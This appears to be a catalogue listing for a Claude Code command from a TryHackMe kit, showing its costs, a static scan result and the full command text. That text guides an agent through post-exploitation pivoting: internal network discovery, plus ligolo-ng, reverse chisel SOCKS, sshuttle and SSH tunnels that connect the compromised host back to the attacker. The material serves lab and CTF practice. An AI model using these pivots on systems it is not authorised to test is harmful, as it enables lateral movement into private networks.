tunnel

tunnel is a command for Claude Code from pashki975/thm-claude-kit. It costs 11 tokens per session (548 once invoked), scanned B, original, MIT.

A guide for reaching an internal network through a computer you have already compromised. Pivoting means using that computer as a pathway because it can access systems that your own machine cannot.

In plain words
What is it for?
Use it to inspect network interfaces and routes, set up a ligolo-ng tunnel or chisel SOCKS proxy, add an internal route, and reach in-scope internal hosts.
Why use it?
It explains how to discover the hidden network and select a tunnel method based on what is available on the compromised host. This avoids treating the internal machines as directly reachable when they are not.

Command for Claude Code

Written for Claude Code: $ARGUMENTS substitution.

Good fit Use it to inspect network interfaces and routes, set up a ligolo-ng tunnel or chisel SOCKS proxy, add an internal route, and reach in-scope internal hosts.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/pashki975/thm-claude-kit/tunnel
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/pashki975/thm-claude-kit

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for tunnel

README.md
[![agentmods](https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/tunnel.svg)](https://agentmods.dev/commands/pashki975/thm-claude-kit/tunnel)
Your own site
<a href="https://agentmods.dev/commands/pashki975/thm-claude-kit/tunnel"><img src="https://agentmods.dev/badge/commands/pashki975/thm-claude-kit/tunnel.svg" alt="Measured on agentmods" height="20"></a>
Per session 11 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 548 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00011 $0.00548
Opus 5 $0.00005 $0.00274
Sonnet 5 $0.00002 $0.00110
Haiku 4.5 $0.00001 $0.00055

Measured 7d ago against content hash 4598cb4e4613, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade B, and why

tunnel scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

`sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up`
.claude/commands/tunnel.md · 41 lines

What it actually says

Help me pivot through the foothold host to reach an internal network/host. Args (optional): $ARGUMENTS (e.g. the internal subnet or target you're trying to reach)

Show my tun0 IP as the attacker address. Pick the technique that fits what's on the box.

First: discover the internal network from the foothold

  • ip a / ifconfig / arp -a — find a second NIC or internal subnet
  • ip route — see what networks the host can reach
  • Ping-sweep or check for live internal hosts (careful, stay in scope)

Option A — ligolo-ng (best all-round, needs a tun interface)

  1. On Kali: set up the tun, start the proxy: sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up ./proxy -selfcert
  2. Upload the matching agent to the target, run it pointing back: agent -connect <tun0>:11601 -ignore-cert
  3. In the ligolo console: session, then add the internal route on Kali: sudo ip route add <internal-subnet> dev ligolo
  4. Now reach internal hosts directly from Kali.

Option B — chisel (simple SOCKS proxy, very common on THM)

  • Kali (server): ./chisel server -p 8000 --reverse
  • Target (client): ./chisel client <tun0>:8000 R:socks
  • Then use proxychains <tool> <internal-ip> (set socks5 127.0.0.1:1080 in /etc/proxychains4.conf)

Option C — sshuttle (if you have SSH creds on the pivot — cleanest)

  • sshuttle -r <user>@<pivot-ip> <internal-subnet> --ssh-cmd "ssh -i key"

Option D — SSH port forwarding (single-port, no extra tools)

  • Local forward: ssh -L 8080:<internal-ip>:80 <user>@<pivot>
  • Dynamic (SOCKS): ssh -D 1080 <user>@<pivot> + proxychains

After the tunnel is up

Re-run recon against the internal target THROUGH the proxy (proxychains nmap is slow — prefer -sT -Pn and a small port list). Record the internal host in notes.md as a new target and continue the normal methodology against it. Stay strictly in the room's scope.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 41 lines · 11 tokens per session scan B 4598cb4e4613

Subscribe to this mod's changes

tunnel is a command published in the GitHub repository pashki975/thm-claude-kit (2 stars, last pushed 23d ago), licensed MIT. It adds 11 tokens to every session and 548 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.